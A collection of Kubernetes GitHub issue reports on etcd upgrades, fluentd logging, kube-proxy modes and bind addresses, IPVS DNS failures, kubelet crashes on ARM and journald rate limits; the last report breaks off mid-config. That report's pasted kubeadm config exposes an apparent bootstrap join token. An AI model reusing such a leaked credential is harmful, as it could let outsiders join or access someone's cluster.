i looked into logs from etcd v3 upgrade tests, and:\r \r 1.  in the latest branch: https://k8s-testgrid.appspot.com/etcd-upgrades\r - etcd seems to upgrade fine,\r - but apiserver is not starting with the following error:\r    \r i0228 14:08:06.816255       5 gce.go:332  using existing token source &oauth2.reusetokensource{new:google.computesource{account:\ \ }, mu:sync.mutex{state:0, sema:0x0}, t:  oauth2.token  nil }\r unable to load server certificate: tls: failed to find any pem data in certificate input\r    \r \r  seems to unrelated to etcd v3 in my opinion, but we should debug and fix it \r \r 2. in the 1.5 branch: https://k8s-testgrid.appspot.com/etcd-upgrades gce-1.5\r - we are not even running upgrade tests\r    \r i0228 05:53:27.442  flag provided but not defined: -etcd-upgrade-storage\r    \r \r i think that it should be enough to cherrypick: https://github.com/kubernetes/kubernetes/pull/41852 to 1.5 branch.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  : https://kubernetes.io/docs/admin/admission-controllershttps://kubernetes.io/docs/admin/admission-controllers lists persistentvolumelabel as a recommended admission controller, but it doesn't describe what it does.\r \r   what you expected to happen  : at least the recommended admission controllers should be documented.\r \r   how to reproduce it  as minimally and precisely as possible   : see https://kubernetes.io/docs/admin/admission-controllers/.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r \r    \r kubectl logs fluentd-gcp-v2.0-l9j3s fluentd-gcp --namespace=kube-system -f\r 2017-08-17 12:24:55 +0000  warn : temporarily failed to flush the buffer. next_retry=2017-08-17 12:25:25 +0000 error_class=\ google::apis::servererror\  error=\ server error\  plugin_id=\ object:3f9603437adc\ \r   2017-08-17 12:24:55 +0000  warn : suppressed same stacktrace\r 2017-08-17 12:25:25 +0000  warn : temporarily failed to flush the buffer. next_retry=2017-08-17 12:25:55 +0000 error_class=\ google::apis::servererror\  error=\ server error\  plugin_id=\ object:3f9603437adc\ \r   2017-08-17 12:25:25 +0000  warn : suppressed same stacktrace\r    \r \r   what you expected to happen  :\r my logs should show up in slackdriver\r \r   how to reproduce it  as minimally and precisely as possible   :\r we are seeing this in a production system where we trigger this issue, but can't see why.\r \r   anything else we need to know?  :\r \r could it be that the default limits in the fluentd gcp image is wrong?\r \r https://cloud.google.com/logging/quota-policy\r \r size of a log entry\t100 kb \r size of an entries.write request\t5 mb \r \r from the fluentd gcp addon configuration:\r \r    \r  <match kubernetes.  >\r       @type google_cloud\r      ....\r         set the chunk limit conservatively to avoid exceeding the gcl limit\r         of 10mib per write request.\r       buffer_chunk_limit 2m\r         cap the combined memory usage of this buffer and the one below to\r         2mib/chunk    6 + 2  chunks = 16 mib\r       buffer_queue_limit 6\r        ...\r     </match>\r       keep a smaller buffer here since these logs are less important than the user's\r       container logs.\r     <match   >\r       @type google_cloud\r       ...\r       buffer_chunk_limit 2m\r       buffer_queue_limit 2\r       ...\r     </match>\r    \r \r   environment  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r standard google cloud engine cluster\r

is this a bug report or feature request?  :\r  \r   what happened  : when running  kubeproxy.exe , and passing the  --proxy-mode=kernelspace  flag which was introduced in  pr  51064   https://github.com/kubernetes/kubernetes/pull/51064 , the following error occurs:\r \r    \r error: kubeproxyconfiguration.mode.proxymode: invalid value: \ kernelspace\ : must be \r userspace,iptables,ipvs or blank  blank means the best-available proxy  currently iptables \r    \r \r   what you expected to happen  : the proxy should work as it used to, supporting this mode.\r \r   how to reproduce it  as minimally and precisely as possible   : \r \r     ./kube-proxy.exe --proxy-mode=kernelspace\r \r   anything else we need to know?  : this was introduced after the validation was refactored in  this pr  https://github.com/kubernetes/kubernetes/pull/49087  which regressed validation for  --proxy-mode=kernelspace . ipvs validation  and thus support  was later added  here  https://github.com/kubernetes/kubernetes/pull/53780 , but we need another mode for windows.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0-alpha.0.684+51033c4dec6e00\r - cloud provider or hardware configuration: n/a\r - os  e.g. from  /etc/os-release  :  windows server core 1709\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r when create an azure file pvc, there will be error if there is no storage account in current resource group, error info would be like following:\r    \r events:\r   type     reason              age               from                         message\r   ----     ------              ----              ----                         -------\r   warning  provisioningfailed  10s  x5 over 1m   persistentvolume-controller  failed to provision volume with storageclass \ azurefile-premium\ : failed to find a matching storage account\r    \r \r   what you expected to happen  :\r if there is no storage account in current resource group, k8s should create a storage account and then create an azure file on that storage account\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

i deploy kubernetes on centos7.3 kernel 3.10,and the kubernetes version is 1.10,when i deploy dashboard or other service,the type is nodeport,but the server is:\r proto recv-q send-q local address           foreign address         state       pid/program name\r tcp6       0      0            :::30002                                 :::                     listen      34279/kube-proxy\r tcp6       0      0              :::30697                               :::                     listen      34279/kube-proxy\r how can i change them to \r tcp        0      0 {ip}:2380       0.0.0.0:               \r or\r tcp        0      0  0.0.0.0:2380       0.0.0.0:   \r the kube-proxy --bind-address= config is 0.0.0.0 or {ip} don't work\r \r 

 <!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r after a successful k8s upgrade from 1.7.4 to 1.8.2 using kubeadm upgrade, and after manually upgrading k8s components, such as kubeadm, kubectl, and kubelet, when i run kubectl get nodes, i get the following output\r \r name               status    roles     age       version\r ip-172-31-21-104   ready     master    1d        v1.7.4\r ip-172-31-22-25    ready     <none>    1d        v1.7.4\r \r   what you expected to happen  :\r i expect the output of kubectl get nodes to show that now k8s version is 1.8.2\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a k8s 1.7.4 cluster, then follow the instructions on here https://kubernetes.io/docs/tasks/administer-cluster/upgrade-downgrade/kubeadm-upgrade-1-8/ once the upgrade is completed, run the following command\r kubectl get nodes\r \r   anything else we need to know?  :\r the output of the kubeadm upgrade shows a successful upgrade. also kubectl version\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.4 ->1.8.2\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : linux ip-172-31-28-122 4.4.0-1052-aws  61-ubuntu smp mon feb 12 23:05:58 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r constructing a  scheduler  object requires a lot of boilerplate, as evidenced by the code in  cmd/kube-scheduler . it requires calls to  newconfigfactory  followed by  createfromconfig  or  createfromprovider  and finally a call to  newfromconfig .\r \r we should create a function  new  in the main scheduler package  k8s.io/kubernetes/pkg/scheduler  that combines all the arguments from the existing, multi-step process. ~~this constructor should take a  sharedinformerfactory  arg instead of individual informers.~~ this constructor will take each informer and lister as a separate arg, so that the types we care about are implicitly documented. for optional arguments, we should use the  “functional options” pattern  https://dave.cheney.net/2014/10/17/functional-options-for-friendly-apis .\r \r to start, the new constructor can be implemented by calling the existing ones. shuffling the code around and deleting old constructors will come later.\r \r see also: https://github.com/kubernetes/kubernetes/issues/68955\r \r   /help\r /good-first-issue\r

what happened  :\r on pods with a lot of dns traffic, many dns queries to the dns clusterip fail during a rolling update of the dns pods  in our case, we use coredns .\r \r   what you expected to happen  :\r almost all dns queries should succeed during a rolling update.\r \r   how to reproduce it  as minimally and precisely as possible   :\r   create a coredns  this would probably be the same with kube-dns  service backed by 2 pods\r   access this service by creating a lot of dns queries, for example:\r    \r while true ; do dig +tries=1 -4 +short a <name> @<dns clusterip> ; sleep 0.05 ; echo \ --\  ; done\r    \r   wait for the ipvs connection table to contain a lot of dns connections  a few minutes \r   delete a dns pod\r \r a significant number of queries will timeout. after 5mn  depending in the ipvs timeout configuration  everything will work ok again.\r \r   anything else we need to know?  :\r this comes from the current logic in the graceful termination code:\r \r the current logic is to delete a rs if the number of active connections is 0. this makes sense for tcp but for udp the number of active connections is always 0. this is an issue for dns queries because the rs will be deleted but the ipvs connection will remain until it expires  5mn by default  and if there are a lot of dns queries, the port will be reused and queries blackholed.\r \r in addition,  net.ipv4.vs.expire_nodest_conn=1  will not always work here because ipvs only removes connections when a packet is processed  in the case of dns once the client receives an answer, no more packets are sent .\r \r   environment  :\r - kubernetes version  use  kubectl version  : kube-proxy  v1.13.0-alpha.3 \r - os  e.g. from /etc/os-release :  ubuntu 18.04.1 lts \r - kernel  e.g.  uname -a  :  linux ip-10-128-212-113 4.15.0-1023-aws  23-ubuntu smp mon sep 24 16:31:06 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r \r /area ipvs\r   \r /assign @m1093782566

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r in order to correspond to the following cve-2018-1002105 with raspberry pi 3  hypriotos v 1.9.0, docker ce 18.04.0 ,\r \r https://github.com/kubernetes/kubernetes/issues/71411\r \r i changed the k8s 1.10.2 to 1.10.11 and tried to join k8s master  1.10.11/amd64 , the following error message was output on rp3.\r    \r  preflight  some fatal errors occurred:\r          error kubeletversion : couldn't get kubelet version: exit status 2\r    \r \r kubelet startup failed from /var/log/syslog on rp3.\r    \r dec 10 18:50:26 xxxxx systemd 1 : kubelet.service: service hold-off time over, scheduling restart.\r dec 10 18:50:26 xxxxx systemd 1 : stopped kubelet: the kubernetes node agent.\r dec 10 18:50:26 xxxxx systemd 1 : started kubelet: the kubernetes node agent.\r dec 10 18:50:27 xxxxx cloud-init 989 : cloud-init v. 0.7.9 running 'modules:final' at mon, 10 dec 2018 09:50:25 +0000. up 52.87 seconds.\r dec 10 18:50:27 xxxxx cloud-init 989 : cloud-init v. 0.7.9 finished at mon, 10 dec 2018 09:50:26 +0000. datasource datasourcenocloud  seed=/var/lib/cloud/seed/nocloud-net  dsmode=net .  up 54.56 seconds\r dec 10 18:50:27 xxxxx kubelet 1143 : panic: runtime error: invalid memory address or nil pointer dereference\r dec 10 18:50:27 xxxxx kubelet 1143 :  signal sigsegv: segmentation violation code=0x1 addr=0x70 pc=0x21aab94 \r dec 10 18:50:27 xxxxx kubelet 1143 : goroutine 1  running :\r dec 10 18:50:27 xxxxx kubelet 1143 : k8s.io/kubernetes/pkg/kubelet/apis/kubeletconfig/v1beta1.init.0  \r dec 10 18:50:27 xxxxx kubelet 1143 :  011/workspace/anago-v1.10.11-beta.0.1+637c7e288581ee/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/apis/kubeletconfig/v1beta1/register.go:42 +0x1c\r dec 10 18:50:27 xxxxx kubelet 1143 : k8s.io/kubernetes/pkg/kubelet/apis/kubeletconfig/v1beta1.init  \r dec 10 18:50:27 xxxxx kubelet 1143 :  011<autogenerated>:1 +0xa8\r dec 10 18:50:27 xxxxx kubelet 1143 : k8s.io/kubernetes/pkg/kubelet/apis/kubeletconfig/scheme.init  \r dec 10 18:50:27 xxxxx kubelet 1143 :  011<autogenerated>:1 +0x4c\r dec 10 18:50:27 xxxxx kubelet 1143 : k8s.io/kubernetes/cmd/kubelet/app/options.init  \r dec 10 18:50:27 xxxxx kubelet 1143 :  011<autogenerated>:1 +0xbc\r dec 10 18:50:27 xxxxx kubelet 1143 : k8s.io/kubernetes/cmd/kubelet/app.init  \r dec 10 18:50:27 xxxxx kubelet 1143 :  011<autogenerated>:1 +0x188\r dec 10 18:50:27 xxxxx kubelet 1143 : main.init  \r dec 10 18:50:27 xxxxx kubelet 1143 :  011<autogenerated>:1 +0x54                                                                                                                                                                             \r dec 10 18:50:27 xxxxx systemd 1 : kubelet.service: main process exited, code=exited, status=2/invalidargument\r dec 10 18:50:27 xxxxx systemd 1 : kubelet.service: unit entered failed state.\r dec 10 18:50:27 xxxxx systemd 1 : kubelet.service: failed with result 'exit-code'.\r dec 10 18:50:27 xxxxx systemd 1 : started execute cloud user/final scripts.\r dec 10 18:50:27 xxxxx systemd 1 : reached target cloud-init target.\r dec 10 18:50:37 xxxxx systemd 1 : kubelet.service: service hold-off time over, scheduling restart.                                                                                                                                           \r dec 10 18:50:37 xxxxx systemd 1 : stopped kubelet: the kubernetes node agent.                                                                                                                                                                \r dec 10 18:50:37 xxxxx systemd 1 : started kubelet: the kubernetes node agent.\r    \r previously, since 1.10.3 and 1.10.4 of the arm version also gave similar errors, i used 1.10.2 so far, but in order to deal with cve-2018-1002105, i want to update to 1.10.11.\r \r   what you expected to happen  :\r the arm version of kubelet 1.10.11 starts normally.\r \r   how to reproduce it  as minimally and precisely as possible   :\r that error always occurs.\r \r how can i solve this problem ?\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.11  \r - cloud provider or hardware configuration: no cloud\r - os  e.g. from /etc/os-release :\r    \r   cat /etc/os-release\r pretty_name=\ raspbian gnu/linux 9  stretch \ \r name=\ raspbian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=raspbian\r id_like=debian\r home_url=\ http://www.raspbian.org/\ \r support_url=\ http://www.raspbian.org/raspbianforums\ \r bug_report_url=\ http://www.raspbian.org/raspbianbugs\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux xxxxx 4.14.34-hypriotos-v7+  1 smp sun apr 22 14:57:31 utc 2018 armv7l gnu/linux\r    \r - install tools:\r    \r apt-get\r    \r - others:\r    \r   dpkg --list|grep kube\r ii  kubeadm                                1.10.11-00                    armhf        kubernetes cluster bootstrapping tool\r ii  kubectl                                1.10.11-00                    armhf        kubernetes command line tool\r ii  kubelet                                1.10.11-00                    armhf        kubernetes node agent\r ii  kubernetes-cni                         0.6.0-00                      armhf        kubernetes cni\r    \r \r <!-- do not edit below this line -->\r  

we will soon emit events in case of error.  would be nice to add status info too.  @justinsb

we have both duration-type flags  e.g. \ 2s\  or \ 5m\  are valid values  and we have int-typed time flags  usually seconds, but few are named as such .  which should we be using?

i am trying to set up a failure trap in an aftereach related only to the deployment e2e suite in https://github.com/kubernetes/kubernetes/pull/34316 but it seems that the testing framework will execute its own aftereach first that deletes the namespace where the test runs thus preempting my failure trap.  i would like to have my special-cased aftereach run before the framework's aftereach. does it sound reasonable? @jayunit100 @ixdy

we'd like to deprecate alpha provisioning in 1.6. in order to make current deployments working after upgrade to 1.6 we need to deploy a default storageclass as part of installation/upgrade on photon so it will automatically provision volumes for pvcs marked with annotation  volume.alpha.kubernetes.io/storage-class  - the annotation will be ignored and default storage class must provision the volume instead.\r \r on gce and aws, we use addon manager to install the default storage class, see https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/storage-class. note that some extra code is probably needed to actually put the storage class into addons directory during installation, e.g. https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/container-linux/configure-helper.sh l1129 for manual script-based installation on gce or https://github.com/kubernetes/kubernetes/blob/master/cluster/saltbase/salt/kube-addons/init.sls l181 for salt-based installation.\r \r please make sure that:\r   a default storageclass is deployed during \ default\  installation.\r     it would be nice if admin could turn this off during installation  e.g.  as  export enable_default_storage_class=false  on gce \r   if any additional manual steps are needed to deploy the default storage class make sure they're documented in appropriate installation guide.\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : changelog\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : head\r \r \r   environment  : n/a\r -   cloud provider or hardware configuration  : n/a\r -   os    e.g. from /etc/os-release : n/a\r -   kernel    e.g.  uname -a  : n/a\r -   install tools  : n/a\r -   others  : n/a\r \r \r   what happened  :  looked at changelog.md to see if a feature committed at a known date would be likely to be in my version\r \r \r   what you expected to happen  : expected to find dates listed with each release version\r \r \r   how to reproduce it    as minimally and precisely as possible : read changelog.md\r \r \r   anything else we need to know  : no\r \r

while debugging some failures on gci  cos , a few people have noticed that some log messages that should've been there were missing in the output of  journalctl -u . \r one very likely cause is that journald rates limits the log messages of individual services and drops messages accordingly.\r \r the configuration is in  /etc/systemd/journald.conf  and by default the limits are set to\r    \r ratelimitinterval=30s\r ratelimitburst=1000\r    \r \r if journald has dropped messages, one can check the log of the journald   journalctl -u  systemd-journald   and see messages such as\r    \r feb 14 19:59:53 e2e-test-yjhong-minion-group-g3gr systemd-journal 27521 : suppressed 23 messages from /system.slice/docker.service\r feb 14 19:59:55 e2e-test-yjhong-minion-group-g3gr systemd-journal 27521 : suppressed 17 messages from /system.slice/kubelet.service\r feb 14 20:00:03 e2e-test-yjhong-minion-group-g3gr systemd-journal 27521 : suppressed 21 messages from /system.slice/docker.service\r feb 14 20:00:05 e2e-test-yjhong-minion-group-g3gr systemd-journal 27521 : suppressed 22 messages from /system.slice/kubelet.service\r    \r \r missing log lines makes debugging test failures unnecessarily difficult.  we should check whether the limits are enough for kubelet  e.g., when creating/deleting 100 pods , and if not, whether to adjust the limits or reduce the log noise in general in kubelet. i believe this is less of a problem for production clusters which have lower log verbosity setting, but that needs to be confirmed.\r \r \r /cc @kubernetes/sig-node-bugs @random-liu @dchen1107

sample failures: \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial/753\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial/755\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/taints_test.go:264\r mar  6 10:01:23.144: pod wasn't evicted\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/taints_test.go:259\r    \r \r cc/ @kubernetes/sig-scheduling-bugs @gmarek

apiserver has storage-backend default to etcd2.  in 1.6, we're hoping to use uas for additional api functionality, and for new servers the default has been changed to etcd3.\r \r this is bad ux; it ends up where we have to know the default version of etcd in place at the time when the server project was first created  etcd2, 3, 4, 5... .  not passing any argument will result in a different backend assumption for apiserver than for a uas.\r \r we should either make etcd2 the default everywhere, or simply make specifying storage-backend mandatory  we could deprecate defaulting of the storage-backend, in our normal process .\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i was quite surprised to see  --cloud-config  and  --cloud-provider  in the api server when reviewing some code around openstack cloud provider. turned out that this was needed by a single admission controller, namely  persistentvolumelabel \r \r   what you expected to happen  :\r \r i expect kube-controller-manager and kubelet to depend on cloud-provider but not the api server.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r  dims@bigbox 14:33  ~ ⟩ hyperkube apiserver --help 2>&1 | grep \ cloud\ \r       --cloud-config string                                     the path to the cloud provider configuration file. empty string for no configuration file.\r       --cloud-provider string                                   the provider for cloud services. empty string for no provider.\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r we have liveness and readiness probes configured for a node container running inside a deployment/pod. these are configured with generous timeouts and failure thresholds:\r \r    yaml\r readinessprobe:\r   httpget:\r     path: /route/to/healthcheck?ready\r   initialdelayseconds: 15\r   timeoutseconds: 15\r   periodseconds: 17\r   failurethreshold: 8\r livenessprobe:\r   httpget:\r     path: /route/to/healthcheck?live\r   initialdelayseconds: 60\r   timeoutseconds: 15\r   periodseconds: 37\r   failurethreshold: 8\r    \r \r for some reason, these would regularly fail due to \ request canceled  client.timeout exceeded while awaiting headers \  with no logs from inside the node container indicating that any request had timed out.\r \r while debugging this issue  which, by the way, if you have any help i would greatly appreciate  i noticed that despite the configured period of 17 seconds on the readiness probe, the actual container is being hit with many more readiness probes than configured.\r \r on average it looks like we get one every few seconds, usually 4-5 at a time in rapid succession  milliseconds apart . sometimes we get 8-10 in the span of less than 50ms. our node server is responding to all of these probes successfully and very fast-- with 200 codes in less than half a millisecond.\r \r   what you expected to happen  :\r \r that we will only receive one probe per configured period, unless a probe fails, after which we expect kubernetes will send additional probes until the failure threshold is reached or a successful response is seen.  at least, this is my understanding of the documentation .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use the configuration described above.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.2-gke.1  v1.9.2 \r - cloud provider or hardware configuration: google kubernetes engine\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r the dns will get a 5s latency of aaaa when uses iptables forward in network traffic between pods.\r \r   what you expected to happen  :\r no latency.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - cni configuration\r    {\r         \ name\ : \ mynet\ ,\r         \ type\ : \ macvlan\ ,\r \t\ master\ : \ eth0\ ,\r         \ ipam\ : {\r                 \ type\ : \ host-local\ ,\r                 \ subnet\ : \ 172.20.0.0/17\ ,\r \t\t\ rangestart\ : \ 172.20.64.129\ ,\r \t\t\ rangeend\ : \ 172.20.64.254\ ,\r \t\t\ gateway\ : \ 172.20.127.254\ ,\r \t\t\ routes\ :  \r \t\t\t{\ dst\ :\ 0.0.0.0/0\ },\r \t\t\t{\ dst\ :\ 172.20.80.0/24\ , \ gw\ :\ 172.20.0.62\ }\r \t\t \r         }\r }\r    \r -   network architecture\r the cluster cidr is 172.20.80.0/24, gw is current node. cluster, pods and nodes are in l2 network using vxlan. \r \r   anything else we need to know?  :\r if cni gw of cluster cidr is current node, the network traffic between pods and services will use iptables forward:\r    \r -p forward accept\r -a forward -m comment --comment \ kubernetes forward rules\  -j kube-forward\r \r -n kube-forward\r -a kube-forward -m comment --comment \ kubernetes forwarding rules\  -m mark --mark 0x4000/0x4000 -j accept\r -a kube-forward -s 172.20.0.0/17 -m comment --comment \ kubernetes forwarding conntrack pod source rule\  -m conntrack --ctstate related,established -j accept\r -a kube-forward -d 172.20.0.0/17 -m comment --comment \ kubernetes forwarding conntrack pod destination rule\  -m conntrack --ctstate related,established -j accept\r    \r if enable forwarding conntrack, netfilter will drop first aaaa record packet when requests dns. it will cause dns latency of 5s.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.2\r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release : centos linux release 7.2.1511  core \r - kernel  e.g.  uname -a  : 3.10.0-327.18.2.el7.x86_64\r - install tools: kubeadm\r - others:\r

hi kubernetes / kubeadm,\r  \r 1. via kubeadm init --config config.yaml, i specify say 172.21.1.227 as the bindaddress under kubeproxy.config, however when i view it from kubeadm config view, i see the bindaddress as 0.0.0.0.\r 2. furthermore, i see that kube_proxy docker container parsing 0.0.0.0 as the bindaddress as well.\r \r is there any quick fix to this - to bind the address  for all nodeports  on a private interface?\r \r kind regards,\r tamama\r \r   steps to reproduce  \r kubeadm init --config config.yaml\r kubeadm config view\r \r \r   here are the logs  \r \r  root@london-node-227 kubeadm   cat config.yaml                                                                                                                                                                               \r api:                                                                                                                                                                                                                                       \r   advertiseaddress: 172.21.1.227                                                                                                                                                                                                           \r   bindport: 56443                                                                                                                                                                                                                          \r   controlplaneendpoint: \ \                                                                                                                                                                                                                  \r apiserverextraargs:                                                                                                                                                                                                                        \r   bind-address: 172.21.1.227                                                                                                                                                                                                               \r auditpolicy:                                                                                                                                                                                                                               \r   logdir: /var/log/kubernetes/audit                                                                                                                                                                                                        \r   logmaxage: 2                                                                                                                                                                                                                             \r   path: \ \                                                                                                                                                                                                                                  \r authorizationmodes:                                                                                                                                                                                                                        \r   - node                   \r   - rbac\r certificatesdir: /etc/kubernetes/pki\r cloudprovider: \ \ \r crisocket: /var/run/dockershim.sock\r etcd:\r   cafile: \ \ \r   certfile: \ \ \r   datadir: /var/lib/etcd\r   endpoints: null\r   image: \ \ \r   keyfile: \ \ \r imagerepository: k8s.gcr.io\r kubeproxy:\r   config:\r     bindaddress:   172.21.1.227  \r     clientconnection:\r       acceptcontenttypes: \ \ \r       burst: 10\r       contenttype: application/vnd.kubernetes.protobuf\r       kubeconfig: /var/lib/kube-proxy/kubeconfig.conf\r       qps: 5\r     clustercidr: 10.244.0.0/16\r     configsyncperiod: 15m0s\r     conntrack:\r       max: null\r       maxpercore: 32768\r       min: 131072\r       tcpclosewaittimeout: 1h0m0s\r       tcpestablishedtimeout: 24h0m0s\r     enableprofiling: false\r     healthzbindaddress: 172.21.1.227:10256\r     hostnameoverride: \ \ \r     iptables:\r       masqueradeall: false\r       masqueradebit: 14\r       minsyncperiod: 0s\r       syncperiod: 30s\r     ipvs:\r       minsyncperiod: 0s\r       scheduler: \ \ \r       syncperiod: 30s\r     metricsbindaddress: 172.21.1.227:10249\r     mode: \ \ \r     nodeportaddresses: null\r     oomscoreadj: -999\r     portrange: \ \ \r     resourcecontainer: /kube-proxy\r     udpidletimeout: 250ms\r kubeletconfiguration: {}\r kubernetesversion: v1.10.2\r networking:\r   dnsdomain: service.kubernetes.tamama.london\r   podsubnet: 10.244.0.0/16\r   servicesubnet: 10.96.0.0/12\r nodename: london-node-227\r privilegedpods: false\r token: 111k6q.xq0joq02xttfqv4x\r tokengroups:\r - system:bootstrappers:kubeadm:default-node-token\r tokenttl: \ 0s\ \r tokenusages:\r - signing\r - authentication\r unifiedcontrolplaneimage: \ \ \r \r  root@london-node-227 kubeadm   kubeadm config view                                                                                                                                                                                        \r api:                                                                                                                                                                                                                                       \r   advertiseaddress: 172.21.1.227                                                                                                                                                                                                           \r   bindport: 56443                                                                                                                                                                                                                          \r   controlplaneendpoint: \ \                                                                                                                                                                                                                  \r apiserverextraargs:                                                                                                                                                                                                                        \r   bind-address: 172.21.1.227                                                                                                                                                                                                               \r auditpolicy:                                                                                                                                                                                                                               \r   logdir: /var/log/kubernetes/audit                                                                                                                                                                                                        \r   logmaxage: 2                                                                                                                                                                                                                             \r   path: \ \                                                                                                                                                                                                                                  \r authorizationmodes:                                                                                                                                                                                                                        \r - node                                                                                                                                                                                                                                     \r - rbac                                                                                                                                                                                                                                     \r certificatesdir: /etc/kubernetes/pki\r cloudprovider: \ \ \r crisocket: /var/run/dockershim.sock\r etcd:\r   cafile: \ \ \r   certfile: \ \ \r   datadir: /var/lib/etcd\r   endpoints: null\r   image: \ \ \r   keyfile: \ \ \r imagerepository: k8s.gcr.io\r kubeproxy:\r   config:\r     bindaddress: 0.0.0.0\r     clientconnection:\r       acceptcontenttypes: \ \ \r       burst: 10\r       contenttype: application/vnd.kubernetes.protobuf\r       kubeconfig: /var/lib/kube-proxy/kubeconfig.conf\r       qps: 5\r     clustercidr: 10.244.0.0/16\r     configsyncperiod: 15m0s\r     conntrack:\r       max: null\r       maxpercore: 32768\r       min: 131072\r       tcpclosewaittimeout: 1h0m0s\r       tcpestablishedtimeout: 24h0m0s\r     enableprofiling: false\r     healthzbindaddress: 172.21.1.227:10256\r     hostnameoverride: \ \ \r     iptables:\r       masqueradeall: false\r       masqueradebit: 14\r       minsyncperiod: 